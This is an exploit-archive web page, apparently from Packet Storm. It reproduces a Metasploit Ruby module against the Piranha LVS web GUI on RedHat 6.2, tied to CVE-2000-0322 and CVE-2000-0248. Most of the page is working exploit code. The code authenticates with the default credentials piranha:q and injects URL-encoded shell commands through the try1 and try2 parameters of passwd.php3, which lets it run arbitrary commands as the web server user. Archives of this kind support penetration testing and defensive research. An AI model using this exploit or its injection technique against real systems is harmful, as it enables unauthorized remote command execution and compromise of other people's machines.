what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution

RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution
Posted Feb 15, 2010
Authored by patrick | Site metasploit.com

This Metasploit module abuses two flaws - a meta-character injection vulnerability in the HTTP management server of RedHat 6.2 systems running the Piranha LVS cluster service and GUI (rpm packages: piranha and piranha-gui). The vulnerability allows an authenticated attacker to execute arbitrary commands as the Apache user account (nobody) within the /piranha/secure/passwd.php3 script. The package installs with a default user and password of piranha:q which was exploited in the wild.

tags | exploit, web, arbitrary
systems | linux, redhat
advisories | CVE-2000-0322, CVE-2000-0248
SHA-256 | 442fa6c986556186edf0a94ec820206a1b661a4f27bfcc94690cc73789eca8a2

RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution

Change Mirror Download
##
# $Id: piranha_passwd_exec.rb 8497 2010-02-14 20:27:24Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'RedHat Piranha Virtual Server Package passwd.php3 Arbitrary Command Execution',
'Description' => %q{
This module abuses two flaws - a metacharacter injection vulnerability in the
HTTP management server of RedHat 6.2 systems running the Piranha
LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
The vulnerability allows an authenticated attacker to execute arbitrary
commands as the Apache user account (nobody) within the
/piranha/secure/passwd.php3 script. The package installs with a default
user and password of piranha:q which was exploited in the wild.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8497 $',
'References' =>
[
[ 'CVE', '2000-0322' ],
[ 'CVE', '2000-0248' ],
[ 'OSVDB', '1300' ],
[ 'OSVDB', '289' ],
[ 'BID', '1149' ],
[ 'BID', '1148' ],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic',
# inetd works, but not on RH6.2 syntax wise. telnet also, but /dev/tcp not found.
# others use single quotes which apache/bash/htpasswd escapes (\) and breaks. sigh!
}
},
'Targets' =>
[
[ 'Automatic (piranha-gui-0.4.12-1.i386.rpm)', { }]
],
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80),
OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'piranha']),
OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'q']),
], self.class)
end

def exploit
cmd = Rex::Text.uri_encode(payload.encoded, 'hex-normal')
str = "/piranha/secure/passwd.php3?try1=q+;#{cmd}&try2=q+;#{cmd}&passwd=ACCEPT"
print_status("Sending GET request with encoded command line...")
res = send_request_raw({
'uri' => str,
'method' => 'GET',
'headers' => {
'content-type' => 'application/x-www-form-urlencoded',
},
}, 3)

if (res.code == 401)
print_error("401 Authorization Required! Our BasicAuthUser and BasicAuthPass credentials not accepted!")
elsif (res.code == 200 and res.body =~ /The passwords you supplied match/)
print_status("Command successfully executed (according to the server).")
end

end

end

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close